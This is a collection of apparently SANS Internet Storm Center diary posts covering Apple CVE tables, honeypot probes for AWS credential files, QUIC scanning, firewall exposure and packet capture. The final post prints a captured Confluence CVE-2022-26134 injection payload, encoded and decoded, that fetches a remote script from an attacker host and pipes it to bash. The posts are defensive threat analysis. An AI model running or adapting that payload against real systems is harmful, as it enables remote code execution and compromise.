An app may be able to execute arbitrary code with kernel privileges
  x x x   x  
CVE-2024-23257 [important] ImageIO
The issue was addressed with improved memory handling.
Processing an image may result in disclosure of process memory
  x x x     x
CVE-2024-23258 [critical] ImageIO
An out-of-bounds read was addressed with improved input validation.
Processing an image may lead to arbitrary code execution
  x         x
CVE-2024-23286 [critical] ImageIO
A buffer overflow issue was addressed with improved memory handling.
Processing an image may lead to arbitrary code execution
  x x x x x x
CVE-2024-23234 [important] Intel Graphics Driver
An out-of-bounds write issue was addressed with improved input validation.
An app may be able to execute arbitrary code with kernel privileges
  x x x      
CVE-2024-23266 [important] Kerberos v5 PAM module
The issue was addressed with improved checks.
An app may be able to modify protected parts of the file system
  x x x      
CVE-2024-23235 [important] Kernel
A race condition was addressed with additional validation.
An app may be able to access user-sensitive data
  x     x x x
CVE-2024-23265 [important] Kernel
A memory corruption vulnerability was addressed with improved locking.
An app may be able to cause unexpected system termination or write kernel memory
  x x x x x x
CVE-2024-23225 [moderate] *** EXPLOITED *** Kernel
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
  x x x x x x
CVE-2024-23278 [important] libxpc
The issue was addressed with improved checks.
An app may be able to break out of its sandbox
  x     x x  
CVE-2024-0258 [moderate] libxpc
The issue was addressed with improved memory handling.
An app may be able to execute arbitrary code out of its sandbox or with certain elevated privileges
  x     x x  
CVE-2024-23279 [important] MediaRemote
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access user-sensitive data
  x          
CVE-2024-23287 [important] Messages
A privacy issue was addressed with improved handling of temporary files.
An app may be able to access user-sensitive data
  x     x    
CVE-2024-23264 [important] Metal
A validation issue was addressed with improved input sanitization.
An application may be able to read restricted memory
  x x x   x x
CVE-2024-23285 [moderate] Music
This issue was addressed with improved handling of symlinks.
An app may be able to create symlinks to protected regions of the disk
  x          
CVE-2024-23283 [important] Notes
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access user-sensitive data
  x x x      
CVE-2023-48795 [moderate] OpenSSH
Multiple issues were addressed by updating to OpenSSH 9.6.
Multiple issues in OpenSSH
  x          
CVE-2023-51384 [moderate] OpenSSH
Multiple issues were addressed by updating to OpenSSH 9.6.
Multiple issues in OpenSSH
  x          
CVE-2023-51385 [moderate] OpenSSH
Multiple issues were addressed by updating to OpenSSH 9.6.
Multiple issues in OpenSSH
  x          
CVE-2022-42816 [important] PackageKit
A logic issue was addressed with improved state management.
An app may be able to modify protected parts of the file system
  x          
CVE-2024-23216 [moderate] PackageKit
A path handling issue was addressed with improved validation.
An app may be able to overwrite arbitrary files
  x x x      
CVE-2024-23267 [moderate] PackageKit
The issue was addressed with improved checks.
An app may be able to bypass certain Privacy preferences
  x x x      
CVE-2024-23268 [moderate] PackageKit
An injection issue was addressed with improved input validation.
An app may be able to elevate privileges
  x x x      
CVE-2024-23274 [moderate] PackageKit
An injection issue was addressed with improved input validation.
An app may be able to elevate privileges
  x x x      
CVE-2023-42853 [important] PackageKit
A logic issue was addressed with improved checks.
An app may be able to access user-sensitive data
  x          
CVE-2024-23275 [moderate] PackageKit
A race condition was addressed with additional validation.
An app may be able to access protected user data
  x x x      
CVE-2024-23255 [moderate] Photos
An authentication issue was addressed with improved state management.
Photos in the Hidden Photos Album may be viewed without authentication
  x          
CVE-2024-23294 [moderate] QuartzCore
This issue was addressed by removing the vulnerable code.
Processing malicious input may lead to code execution
  x          
CVE-2024-23296 [moderate] *** EXPLOITED *** RTKit
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
  x     x x x
CVE-2024-23259 [moderate] Safari
The issue was addressed with improved checks.
Processing web content may lead to a denial-of-service
  x          
CVE-2024-23238 [moderate] Sandbox
An access issue was addressed with improved access restrictions.
An app may be able to edit NVRAM variables
  x          
CVE-2024-23239 [important] Sandbox
A race condition was addressed with improved state handling.
An app may be able to leak sensitive user information
  x     x x  
CVE-2024-23290 [important] Sandbox
A logic issue was addressed with improved restrictions.
An app may be able to access user-sensitive data
  x     x x  
CVE-2024-23232 [moderate] Screen Capture
A privacy issue was addressed with improved handling of temporary files.
An app may be able to capture a user's screen
  x          
CVE-2024-23231 [important] Share Sheet
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access user-sensitive data
  x     x    
CVE-2024-23230 [moderate] SharedFileList
This issue was addressed with improved file handling.
An app may be able to access sensitive user data
  x x x      
CVE-2024-23245 [moderate] Shortcuts
This issue was addressed by adding an additional prompt for user consent.
Third-party shortcuts may use a legacy action from Automator to send events to apps without user consent
  x x x      
CVE-2024-23292 [moderate] Shortcuts
This issue was addressed with improved data protection.
An app may be able to access information about a user's contacts
  x          
CVE-2024-23289 [moderate] Siri
A lock screen issue was addressed with improved state management.
A person with physical access to a device may be able to use Siri to access private calendar information
  x     x    
CVE-2024-23293 [moderate] Siri
This issue was addressed through improved state management.
An attacker with physical access may be able to use Siri to access sensitive user data
  x     x x  
CVE-2024-23241 [important] Spotlight
This issue was addressed through improved state management.
An app may be able to leak sensitive user information
  x       x  
CVE-2024-23272 [moderate] Storage Services
A logic issue was addressed with improved checks.
A user may gain access to protected parts of the file system
  x x x      
CVE-2024-23242 [moderate] Synapse
A privacy issue was addressed by not logging contents of text fields.
An app may be able to view Mail data
  x          
CVE-2024-23281 [moderate] System Settings
This issue was addressed with improved state management.
An app may be able to access sensitive user data
  x          
CVE-2024-23260 [important] TV App
This issue was addressed by removing additional entitlements.
An app may be able to access user-sensitive data
  x          
CVE-2024-23246 [important] UIKit
This issue was addressed by removing the vulnerable code.
An app may be able to break out of its sandbox
  x     x x x
CVE-2024-23226 [critical] WebKit
The issue was addressed with improved memory handling.
Processing web content may lead to arbitrary code execution
  x     x x x
CVE-2024-23218 [moderate] CoreCrypto
A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions.
An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key
    x x      
CVE-2024-23201 [important] libxpc
A permissions issue was addressed with additional restrictions.
An app may be able to cause a denial-of-service
    x x      
CVE-2023-28826 [moderate] MediaRemote
This issue was addressed with improved redaction of sensitive information.
An app may be able to access sensitive user data
    x x      
CVE-2024-23204 [moderate] Shortcuts
The issue was addressed with additional permissions checks.
A shortcut may be able to use sensitive data with certain actions without prompting the user
    x x      
CVE-2024-23297 [moderate] MediaRemote
The issue was addressed with improved checks.
A malicious application may be able to access private information
        x x  
CVE-2024-23262 [moderate] Accessibility
This issue was addressed with additional entitlement checks.
An app may be able to spoof system notifications and UI
            x
CVE-2024-23295 [moderate] Persona
A permissions issue was addressed to help ensure Personas are always protected
An unauthenticated user may be able to use an unprotected Persona
            x
CVE-2024-23220 [moderate] Safari
The issue was addressed with improved handling of caches.
An app may be able to fingerprint the user
            x

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2024-03-07

[Guest Diary] AWS Deployment Risks - Configuration and Credential File Targeting

[This is a Guest Diary by Josh Lockwood, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].

Summary

I performed a comparison of Web Honeypot logs from cloud-deployed Dshield honeypots in AWS and Azure in order to test the theory that some URL requests are targeted towards specific deployments. I found evidence to support my hypothesis in that only the AWS-hosted honeypot received requests for AWS-specific resources.These requests were most likely focused towards hosts based on the public IP address for the cloud service.

Research and Analysis

During the course of the internship, I often found that many of the HTTP requests I encountered and investigated appeared to be untargeted, testing for vulnerabilities to exploit over a wide range of devices and patches. However, I also began to notice HTTP requests for AWS-specific URLs nearly everyday in my Web Honeypot logs. I found this particularly interesting due to the fact that I deployed my honeypot using an EC2 instance at the beginning of the internship. I hypothesized that certain bots and scripts specifically look for AWS EC2 and VPC IP addresses and submit requests to try and find vulnerable deployments, web applications, and service on those hosts.

Inspection of two of the more common URLs, “/aws credentials” and “/.aws/config” on the Dshield website showed similar, interesting trends. Per AWS documentation, these files are used to store configuration settings and credentials for users and resources in AWS[2]. Both URLs had been seen prior to my deployment of the honeypot in AWS EC2, but there was a notable uptick around the same time that I deployed my honeypot.There was a clear increase in requests for both URLs on 2023-10-17, the first full day that the honeypot was deployed [3][4].


Figure 1. Trend for /aws/credentials URLs since Feb. 2023.

 


Figure 2. Trend for /.aws/config URLs since Feb. 2023.

In order to test my hypothesis that the requests were targeted at my AWS deployment, I deployed another honeypot in the Azure Cloud on 2024-01-13. I collected sixteen full days of Web Honeypot logs (2024-01-14 to 2024-01-20 and 2024-02-02 to 2024-02-10) from both honeypots and compared the results. I used the command “cat webhoneypot-2024-01-14.json | jq .url | sort | uniq -c | sort -n | grep -i "aws/"” to list out the AWS-specific URLs in each honeypot for 2024-01-14 and compared the results. I repeated the process for each of the other fifteen days. I observed no AWS-specific URLs from the Azure honeypot, while I observed at least one nearly daily in the AWS honeypot, the exceptions being 2024-02-08 and 2024-02-09 where no AWS config/credential file requests were captured.


Figure 3. Search results from the AWS honeypot 2024-01-14 to 2024-01-20.

 


Figure 4. Search results from the AWS honeypot 2024-02-02 to 2024-02-10.

 


Figure 5. Search results from the Azure honeypot 2024-01-14 to 2024-01-20.

 


Figure 6. Search results from the Azure honeypot 2024-02-02 to 2024-02-10.

I also reviewed some of the information surrounding the URL requests. I found that both GET and POST requests were used. I compiled a list of each IP that was used each day and organized them by IP and Country. I checked each IP on VirusTotal to confirm the host country and to see if the IPs were flagged as malicious by any of the security vendors. All but three of the IPs were flagged as malicious by at least one security vendor. Additionally several of the IPs were repeated across different days. The three most common were %%ip:78.153.140.175%%, %%ip:78.153.140.177%%, and %%ip:78.153.140.224%%, all of which are IPs associated with HostGlobal.plus in Great Britain and have been flagged as malicious by at least once vendor on VirusTotal.

Table 1. IPs observed as part of the investigation.
Date IP Country Flagged by VT
2024-01-14 %%ip:194.67.201.41%% RU Yes
2024-01-15 %%ip:4.151.191.148%% USA No
  %%ip:78.153.140.175%% GB Yes
  %%ip:78.153.140.177%% GB Yes
  %%ip:78.153.140.224%% GB Yes
2024-01-16 %%ip:45.92.229.151%% USA Yes
  %%ip:45.92.229.153%% USA Yes
  %%ip:45.130.83.8%% USA Yes
  %%ip:45.130.83.11%% USA Yes
  %%ip:45.130.83.23%% USA Yes
  %%ip:45.130.83.28%% USA Yes
  %%ip:78.153.140.177%% GB Yes
  %%ip:141.98.11.107%% LT Yes
2024-01-17 %%ip:8.222.213.27%% SG Yes
  %%ip:78.153.140.224%% GB Yes
2024-01-18 %%ip:54.222.143.33%% CN No
  %%ip:78.153.140.175%% GB Yes
2024-01-19 %%ip:13.250.8.18%% SG No
  %%ip:54.222.143.33%% CN No
  %%ip:78.153.140.177%% GB Yes
2024-01-20 %%ip:78.153.140.177%% GB Yes
2024-02-02 %%ip:78.153.140.175%% GB Yes
2024-02-03 %%ip:78.153.140.177%% GB Yes
  %%ip:78.153.140.224%% GB Yes
2024-02-04 %%ip:34.209.164.218%% USA (Amazon) Yes
  %%ip:78.153.140.175%% GB Yes
2024-02-05 %%ip:78.153.140.177%% GB Yes
2024-02-06 %%ip:35.85.58.38%% USA (Amazon) Yes
  %%ip:78.153.140.175%% GB Yes
  %%ip:78.153.140.177%% GB Yes
2024-02-08 NONE
2024-02-09 NONE
2024-02-10 %%ip:78.153.140.177%% GB Yes

 

The AWS config and credential files can be set up by the AWS user and are maintained by the AWS CLI. “The AWS CLI stores sensitive credential information that you specify… in a local file named credentials, in a folder named .aws in your home directory. The less sensitive configuration options that you specify… are stored in a local file named config, also stored in the .aws folder in your home directory” [5]. Considering the nature of the contents of these files, the presence of requests for them suggests that attackers are interested in gaining access to the deployed resources. This highlights the reality that incorrectly configured credential files can lead to compromised systems and accounts in the AWS space, a result that businesses likely wish to avoid. I then checked other requests for configuration files as part of my test to see if this was specific to AWS or if I could find patterns for Azure or other deployments. For this search I focused my search over the nine day timeframe of 2024-02-02 to 2024-02-10. I focused on looking for URLs that contained the string “config” rather than “azure” or “aws” so that I could narrow down the URL count without intentionally excluding any services. While I did not observe any requests for Azure-specific configuration URLs on either honeypot, I did observe a number of other requests for git configuration files. The “/.git/config” files are used to set and control all aspects of the visual and operational aspects of Git repositories for each user [6]. This information can include user identity and settings information. Several other configuration file requests were also observed including “/main_configure.cgi”, “/config.json”, and “/cgi-bin/config.exp”.


Figure 7. Results for named configuration files in the AWS honeypot.

 


Figure 8. Results for named configuration files in the AWS honeypot continued.

 


Figure 9. Results for named configuration files in the Azure honeypot.

Conclusions

Based on the data that I collected between these two honeypots, I believe that scripts used to attempt to resolve these URLs were designed to target AWS-deployed resources and
instances. The lack of any AWS-related URLs from the Azure honeypot supports this theory. My belief is that bots and crawlers look for IPs that are designated to AWS and then attempt to search for misconfigured files that contain valuable information about the users and deployments for further exploitation purposes. With this in mind, businesses and users alike should always remember to follow the AWS best practices[7] to ensure that their deployments are properly secured.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html
[3] https://dshield.org/weblogs/urlhistory.html?url=L2F3cy9jcmVkZW50aWFscw==
[4] https://dshield.org/weblogs/urlhistory.html?url=Ly5hd3MvY29uZmln
[5] https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html
[6] https://git-scm.com/book/en/v2/Getting-Started-First-Time-Git-Setup
[7] https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-best-practices.html

 

--
Jesse La Grew
Handler

0 Comments

Published: 2024-03-06

Scanning and abusing the QUIC protocol

The QUIC protocol has slowly (pun intended) crawled into our browsers and many other protocols. Last week, at BSides Zagreb I presented some research I did about applications using (and abusing) this protocol, so it made sense to put this into one diary.

While QUIC has been around for some time, the official RFC 9000 that defines QUIC v1 was released in 2021. Of course, our browsers (namely Chrome, as Google was the main power behind QUIC) started supporting and using QUIC long time ago. Chrome, for example, added support for QUIC back in 2012, while Mozilla Firefox waited until 2021. Today, all browsers not only support QUIC but also use it – A LOT!

For example, if you take a look at your network traffic today to Google, YouTube, Facebook and similar web sites you will see that this network traffic consists of HTTP/3, which uses QUIC, almost exclusively – just open Developer Tools, go to the Network tab and right click on columns, add Protocol and you will see something like this:

This was me streaming something from YouTube – it’s almost exclusively HTTP/3. So, I wanted to understand the protocol and see if there are some potentials for abuse.

Some protocol specifics

While I will not dive into encryption (that was part of the presentation – it should be available soon on YouTube), QUIC makes security and privacy a first-class citizen. In other words, QUIC authors tried to encrypt absolutely everything and as much data as possible. QUIC also relies on TLSv1.3 which helps with a shorter handshake – generally we will have 1 RTT requests, and if we visited a certain web site before we can even have 0 RTT requests – quite impressive!

RFC 9000 describes all the details (and I’ll make a follow up diary about encryption), but here are couple of things that are important for the rest of this diary:

  • While the QUIC protocol encrypts everything even in the first packet, it is still possible to decrypt some frame information and get certain metadata about the connection, including TLSv1.3 exchange parameters. This cannot be solved really – in the first packet there is no relationship between a server and a client so the public part of a randomly generated key (by a client) is sent in plain text, and the salt that is used for HKDF algorithms used by QUIC is a static value (it’s always 38762cf7f55934b34d179ae6a4c80cadccbb7f0a – the first SHA-1 collision found by Google researchers).
  • This means that any observer always can decrypt certain metadata from the very first packet. I’m personally not sure of the benefit of this encryption due to this, but passive analysis devices (Hi Darktrace, Vectra …) will have a bit more difficult job in tracking first connections (and they will not see anything after that due to TLSv1.3).
  • These packets define all parameters of a connection, together with supported stream (in QUIC a single connection has multiple streams). The important parameter we will want to pay more attention to is the ALPN (Application Layer Protocol Negotiation) extension that defines what application protocol we want to use. Most often this is h3 for HTTP/3, but it can be absolutely anything!

Applications on top of QUIC

Thanks to ALPN we can basically use practically any application protocol on top of QUIC. Of course, HTTP/3 is the most commonly used protocol, but there is a bunch of other supported protocols already registered with IANA, as we can see at https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids

The one that caught my attention (hence this diary) is SMB2: yes, SMB can work over QUIC. And what’s perhaps even more terrifying is that Microsoft started adding support for this! Some time ago, SMB over QUIC (SMB VPN as Microsoft likes to call it) was available only on Windows Server 2022 Datacenter Azure Edition, however Microsoft actually added support now even in Windows Server 2025 Insider Preview! With client side supported already by Windows 11 – you can even have SMB over QUIC running on premise.

The screenshot below shows my Windows Server 2025 server configured to host SMB over QUIC – which now becomes accessible over UDP port 443 – as any other QUIC application running on this port, including HTTP/3.

Microsoft’s idea here is to allow VPN-less SMB connections – your client might be at home, and “all you need” is to expose SMB over QUIC on UDP port 443 and they can connect to it now from anywhere in the world! What could go wrong here …

Imagine an attacker silently enabling this feature without anyone even knowing, and then using it to exfiltrate data – what a perfect covert channel, blended with HTTP/3.

QUIC scanning

So naturally I became interested in scanning servers for QUIC enabled services – after all, when we perform penetration tests, this should be part of our methodology.

I was sad to see that my favorite tool, nmap, cannot reliably scan QUIC enabled services. As UDP scanning is not easy anyway, due to specific packet contents that need to be generated, the very latest nmap is quite bad (and slow) in fingerprinting QUIC services, even when you enable all probes.

Couple of researchers extended zmap and added modules for QUIC scanning. This extended version is available at https://github.com/tumi8/zmap and it allows one to scan QUIC services – but zmap will only log initial data, if you want more information (i.e. to check for TLS certificates), you will need to use another tool released by same researchers – QScanner, which is available at https://github.com/tumi8/qscanner. It takes zmap’s CSV output and connects to QUIC services to fingerprint supported protocols (oh yeah, I forgot to mention that you can tweak QUIC protocols too, something similar to TCP flavors – but that’s for another diary). However, it supports only HTTP/3.

Releasing quicmap

As I felt that a simple tool that would allow for scanning of QUIC services as well as for fingerprinting supported Application Layer Protocol Negotiation (ALPN) protocols is missing, my colleague Fran ?utura and I made a simple QUIC scanner in Python that we call quicmap.

The scanner is available at https://github.com/bojanisc/quicmap and this first version allows you to scan arbitrary networks, hostnames and IP addresses as well as ports. The tool will run with 50 threads by default so it is quite fast, and the bonus feature is in brute forcing supported ALPN’s so we can identify if another protocol is supported. Fran even sped this up so we used binary searching to be as efficient as possible.

Here is what it looks like:

We already have plans for adding some additional features to make it more reliable in fingerprinting SMB specifically – this will be added in the upcoming days.

Future abuse

As QUIC is here and it will not go away, I think that we will probably see more abuse of this protocol in the future. Due to UDP being used, we already saw some Denial of Service opportunities, but some of these have been fixed.

Being a UDP service, it is perfect for good old port knocking: this is a technique that allows us to start a backdoor service by sending a specific fingerprint/packet to the target server. As we can use our own, non-registered ALPN, this can be almost impossible for identification: we could host a legitimate HTTP/3 web site, and when a specific ALPN is sent a new service can be started.

So how about creating our own C&C channel over a custom ALPN over QUIC? No problem, here’s a simple proof of concept which I should release once I’m not embarrassed with bad code ?

Guess this is enough for this diary, in the next one we’ll take a look at how QUIC encrypts initial packets and metadata.
Let us know if this was useful!

--
Bojan
@bojanz
INFIGO IS

1 Comments

Published: 2024-03-05

Apple Releases iOS/iPadOS Updates with Zero Day Fixes.

Apple today released iOS 17.4 as well as iOS 16.7.6 (and the respective iPadOS versions). These updates fix a total of four vulnerabilities. Two of the vulnerabilities are already being exploited. CVE-2024-23225 is a privilege escalation issue and only affects iOS 17 as well as iOS 16. The second already exploited vulnerability,  CVE-2024-23296, only affects iOS 17.

We rated the exploited vulnerabilities as "important", not "critical". They appear to only allow for privilege escalation.

 

iOS 17.4 and iPadOS 17.4 iOS 16.7.6 and iPadOS 16.7.6
CVE-2024-23243 [important]   Accessibility
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to read sensitive location information
x  
CVE-2024-23225 [moderate]   *** EXPLOITED ***  Kernel
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
x x
CVE-2024-23296 [moderate]   *** EXPLOITED ***  RTKit
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
x  
CVE-2024-23256 [moderate] Safari Private Browsing
A logic issue was addressed with improved state management.
A user's locked tabs may be briefly visible while switching tab groups when Locked Private Browsing is enabled
x  

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-05

Why Your Firewall Will Kill You

illustration of survivaltime showing a burning clockThe last few years have been great for attackers exploiting basic web application vulnerabilities. Usually, home and small business products from companies like Linksys, D-Link, and Ubiquity are known to be favorite targets. But over the last couple of years, enterprise products from companies like Ivanti, Fortigate, Sonicwall, and Citrix (among others) have become easy to exploit targets. The high value of the networks protected by these "solutions" has made them favorites for ransomware attackers.

For a long time, we maintained our "Survivaltime" graph. Not exactly my favorite piece of data, but it showed how, over the years, the average time between unsolicited packets hitting perimeter firewalls. 

So let's look at the average "survival time" of an enterprise-grade firewall. As "survival time", I will define the time it takes for a scan attempting to probe the firewall. For example, for the PulseSecure/Ivanti products, I will use requests for URLs like "/dana-na/nc/nc_gina_ver.txt" and "/dana-cached/hc/HostCheckerInstaller.osx" as they are specific to these firewalls and can be used to identify vulnerable systems. For this test, I considered all URLs containing "/dana-" to target Ivanti. The survival time of an Ivanti instance is approximately one month.

For Fortigate, we can look at a similar pattern, "/remote," often associated with exploits for Fortigate vulnerabilities and scans to determine the firmware version running on a particular device. Our data suggests a similar one-month survival time.

Citrix is a bit more difficult to pinpoint. But many of the exploit and fingerprinting URLs used for Citrix contain "/vpn/". I see fewer of these scans, so you may have two months before your Citrix instance is targeted.

To compare, I also looked at URLs containing "luci." "Luci" is a popular open-source component found in many routers used by home networks. It is still much more popular, with a "survival time" of about a week.

So what does this mean?

1 - Assume compromise

These times are "upper limits". There are many less specific ways to find vulnerable devices. A simple scan of the index page often identifies the device and even the version number. Attackers will also create lists of possible targets before an exploit is released. These devices hide multiple critical vulnerabilities, and vendors do little but wait for third parties to report them. Any attacker interested in exploiting these devices knows that it is just a matter of time before a new exploit is released, and the race is on for the first one to be able to compromise the devices.

2 - Mitigation beats Patching

You will be unable to patch these devices before exploit attempts are launched. Your best bet is to reduce your attack surface. Remove devices as soon as they are no longer needed. Disable features that you do not need. Limit access to any features or admin consoles. 

3 - Know normal

Find out what information the device logs provide, and establish a "baseline" to identify what is normal. How many connections per hour or day? Where do they come from? What features are used, and how will the use of these features be represented in the logs? Understand the log format and enable additional logging if needed.

4 - Your Security Tool Supply Chain

Some security tool vendors often advertise how they protect you from supply chain issues. But remember that they are just as much a part of your supply chain. Monitor your vendor's health. Watch out for acquisitions, layoffs, and changes in business focus. Replacing some of these devices is lengthy, and you must get ahead of it. Re-affirm the company's commitment to the products you rely on and track any "end of support" or "end of life" commitments.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-03

Capturing DShield Packets with a LAN Tap [Guest Diary]

[This is a Guest Diary by Christopher Von Reybyton, an ISC intern as part of the SANS.edu BACS program]

Introduction

During my internship with the Internet Storm Center I ran into an issue of wanting more information than the default logs would give me. I recalled one of the instructors saying "If we don’t have packets it didn’t happen". This inspired me to try to capture the packets hitting my honeypot. Initially I looked for ways to add logging capabilities to the DShield Honeypot [1]. I found very little information and the information I found I wasn’t able to get to work. Then I remembered that I owned a Great Scott Gadgets Throwing Star LAN Tap [2]. The Throwing Star LAN Tap is a passive Ethernet tap set between my router and the honeypot where I capture .pcap files with Wireshark.

Throwing Star LAN Tap

The Throwing Star LAN Tap can be purchased from greatscottgadgets.com and amazon.com. It has two pass-through ethernet adapters labeled J1 and J2. This allows the LAN Tap to sit between the router and an end device. There are two other ethernet adapters labeled J3 and J4. These adapters have capacitors connected to them and any packets are output to these monitoring ports. By connecting a device to these monitoring ports we are able to capture packets with apps such as Wireshark or tcpdump.
The following image is how the LAN Tap arrives unassembled.

Next is how the LAN Tap looks when assembled. Notice the placement of the capacitors.

Here is an image of the back of the LAN Tap after soldering.

Lastly here is a graphic showing the direction the packets travel to the monitoring ports.

Analysis

An example of how the packet information from Wireshark helps in attack observations can be found in the following screenshots.
First is output from the honeypot using the command "cat webhoneypot-2024-01-25.json | jq 'select(.sip == "80.94.95.226")'". This image shows output with a timestamp of 23:43:18. The attacker is trying to POST information to "/cgi-bin/luci"

The next screenshot shows the output from Wireshark using the filter "http.request.method == "GET" || http.request.method == "POST".  At No. 5181 and timestamp 23:43:17 we see the POST request from IP 80.94.95.226

If we then follow the HTTP Stream of this conversation, we end up with the next screenshot. If you look at the end of the output, you will see the username and password used by the threat actor. This is information that is absent in the DShield logs and gives added insight into the attackers’ behavior.

Identified problems

The main problem I ran into was that my Throwing Star LAN Tap was a kit. I had to solder the Ethernet connectors and diodes to the circuit board. As I don’t have a lot of experience with this it took some trial and error to make sure the connections were soldered on correctly. My first attempt after soldering seemed to have worked as I was able to receive packets for many hours. The next day that I connected I only captured packets that came from the honeypot. I had to disconnect the LAN Tap and go over the connections again to make sure the soldering was correct. The third attempt resulted in capturing full packets.

It should be noted that the reason I only captured packets coming from the honeypot on the second day is that since the Dshield honeypot resets every day the LAN Tap needs to be re-connected everyday as well. And that the monitoring ports only monitor traffic in one direction.

Why It Matters

Packets are how everything is communicated through networks. It doesn’t matter what protocol is used or where the device is located. And while collecting logs is important, being able to see the history of the logs communication in the form of packets is the basis for good information security. Information that may be passed in clear text in the packets may not be picked up by DSHield logs.

Benefits

The main benefit of capturing packets is that you have visibility into the communication going to and from the DShield honeypot. It’s nice seeing the SSH and HTTP logs that DShield collects, but being able to go through the packets gives a much deeper insight into what attacks are happening and how they are happening. For me parsing logs felt like only seeing part of the conversation. Being able to see the packets now makes parsing the logs more complete and easier to interpret. 

Conclusion

Capturing packets between the DShield honeypot and an externally facing router is a powerful tool to help with attack observations and identifying threat actors’ behavior for accurate documentation. In the future I would love to see packet capture capabilities added to the DShield, but until then using a LAN Tap can give us vital information to increase the scope of our attack documentation.

[1] https://isc.sans.edu/tools/honeypot/
[2] https://greatscottgadgets.com/throwingstar/
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-03-01

Scanning for Confluence CVE-2022-26134

I have added daemonlogger [1] for packet capture and Arkime [2] to visualize the packets captured by my DShield sensor and started noticing this activity that so far only gone to TCP/8090 which is URL and base64 encoded. The DShield sensor started capturing this activity on the 12 February 2024 inbound from various IPs from various locations.

Activity Overview

Using CyberChef [3] I decoded this URL:

xxx.xxx.59.70:8090/$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27echo%20dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw%2BIi9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA%2BJjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM%2BJi0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK%7Cbase64%20-d%7Cbash%27%29.start%28%29%22%29%7D/

CyberChef Step 1 - URL Decode

CyberChef Step 2 - From Base64


This is the final result of decoding this URL where the actor is attempting to initiate the Nashorn Java Engine, activity has similarity to this article [5] CounterCraft.

xxx.xxx.59.70:8090/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo 
vurl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
vurl http://b.9-9-8[.]com/brysj/w.sh|bash
TSHA256

The above URL while submitted to a sandbox dropped two hashes the first is known as a downloaded shell while the second is still unknown. 

Indicators

http://b.9-9-8[.]com/brysj/w.sh
b.9-9-8[.]com
107.189.31.172

SHA256
d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e [7]
15F53F6F0C234E8A30A8B7CDCFC54468723F64ED5DC036C334D47E4F59C7CFD0

[1] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/Build_a_Docker_Partition.md
[2] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/Configure_Arkime.md
[3] https://gchq.github.io/CyberChef/
[4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-26134
[5] https://www.countercraftsec.com/blog/active-exploitation-of-confluence-cve-2022-26134/
[6] https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
[7] https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
[8] https://www.virustotal.com/gui/file/d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments